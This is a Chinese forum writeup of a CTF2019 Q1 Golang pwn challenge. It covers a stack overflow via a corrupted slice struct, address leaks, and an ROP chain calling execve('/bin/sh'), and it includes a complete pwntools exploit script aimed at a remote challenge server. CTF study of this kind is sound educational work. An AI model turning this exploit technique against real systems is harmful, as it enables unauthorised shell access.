-
-
[原创] CTF2019Q1 第八题 挖宝 writeup
-
发表于: 2019-3-22 16:14 4435
-
google it: golang pwn
BAMBOOFOX CTF 部分 writeup # infant-gogogo 180
得知:
Seccon2017 - Golang Overflow
得知:
保护全开,google 上的参考还是固定基址比较好做
使用 IDAGolangHelper 脚本,能够解析 golang 的函数名,比较好分析
runtime_slicebytetostring 的 参数是 slice 结构
通过 gdb 尝试得到栈结构
A*192 | slice->data | slice->len | slice->cap | B*72 | ret
我们能够操纵 slice 的成员来打印任何地址,测试的时候发现 len 不能设置很大,所以代码分 2次 分别泄露 输入的名字 和 ret 的地址(walk 返回地址)
linux 下 syscall 59 是 execve,构造 rop
syscall_Syscall | 0 | 59 | /bin/sh | 0 | 0
完成调用 execve("/bin/sh", NULL, NULL)
struct slice { char *data; __int64 len; __int64 cap; };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 | from pwn import * import itertools p = remote( "211.159.175.39" , 8787 ) # p = process("./trepwn") def move(xd, yd): if xd = = 1 : m = "d" elif xd = = - 1 : m = "a" elif yd = = 1 : m = "w" elif yd = = - 1 : m = "s" p.sendline(m) msg = p.recvuntil( ">>" ) if "Treasure 4" in msg: return True elif "Treasure" in msg: # 跳过 宝藏123 p.sendline( "skip" ) p.recvuntil( ">>" ) return False def play(): # 遍历地图 steps = [( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 0 , 1 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 ), ( 0 , 1 ), ( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 0 , 1 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 ), ( 0 , 1 ), ( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 0 , 1 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 0 , - 1 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 ), ( 0 , - 1 ), ( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 0 , - 1 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 ), ( 0 , - 1 ), ( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 1 , 0 ), ( 0 , - 1 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 ), ( - 1 , 0 )] # 通过 cycle 无限遍历地图直到 宝藏4 for xd, yd in itertools.cycle(steps): if move(xd, yd): break # golang 的栈基址 _stack = 0xC820000000 # walk 的 4个 返回偏移,w/s/a/d 4处调用 _rets = [ 0xD7EE9 , 0xd7f48 , 0xD7FCF , 0xD8036 ] # syscall 利用偏移 _syscall_Syscall = 0x186600 import sys def main(): p.sendlineafter( "name :\n" , "/bin/sh" ) p.recvuntil( ">>" ) # 玩第一次 泄露 输入的名称 play() # 尝试 0xA000 -> 0xC000 的范围 p.sendline( "A" * 192 + p64(_stack + 0xA000 ) + p64( 0x2000 ) + p64( 0x2000 )) ret = p.recvuntil( ">>" ) idx = ret.find( "Your message: " ) ret = ret[idx + len ( "Your message: " ):] # _leak_name 为栈中地址 idx_name = ret.index( "/bin/sh\0" ) _leak_name = _stack + 0xA000 + idx_name print hex (_leak_name) # 玩第二次 泄露 返回地址 play() # 尝试 0x41E00 -> 0x44E00 p.sendline( "A" * 192 + p64(_stack + 0x41E00 ) + p64( 0x3000 ) + p64( 0x3000 )) ret = p.recvuntil( ">>" ) idx = ret.find( "Your message: " ) ret = ret[idx + len ( "Your message: " ):] idx_ret = ret.index( "A" * 192 ) idx_ret + = 200 + 8 + 80 # 192 + 8*3 + 72 # 返回地址 addr_ret = u64(ret[idx_ret: idx_ret + 8 ]) print hex (addr_ret) # 返回地址有4种,通过后3字节不变的原则来确定基址 for r in _rets: if r& 0xFFF = = addr_ret& 0xfff : base = addr_ret - r break print hex (base) # 最后玩一次输入 rop play() # slice->len 为 0就能跳过 runtime_slicebytetostring p.sendline( "A" * 200 + p64( 0 ) + "B" * 80 + \ p64(base + _syscall_Syscall) + p64( 0 ) + p64( 59 ) + p64(_leak_name) + p64( 0 ) + p64( 0 )) p.interactive() main() |
RELRO | STACK CANARY | NX | PIE | FILE |
---|---|---|---|---|
Full RELRO | Canary found | NX enabled | PIE enabled | apwn |
- golang 的 pwn 差不多都是栈溢出 rop
- syscall_Syscall 是栈传参很容易利用
- golang 的栈地址比较固定(0xC820000000)
- 讲解了如何 pass runtime_slicebytetostring 函数
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2019-3-22 16:14
被kkHAIKE编辑
,原因:
赞赏
他的文章
赞赏
雪币:
留言: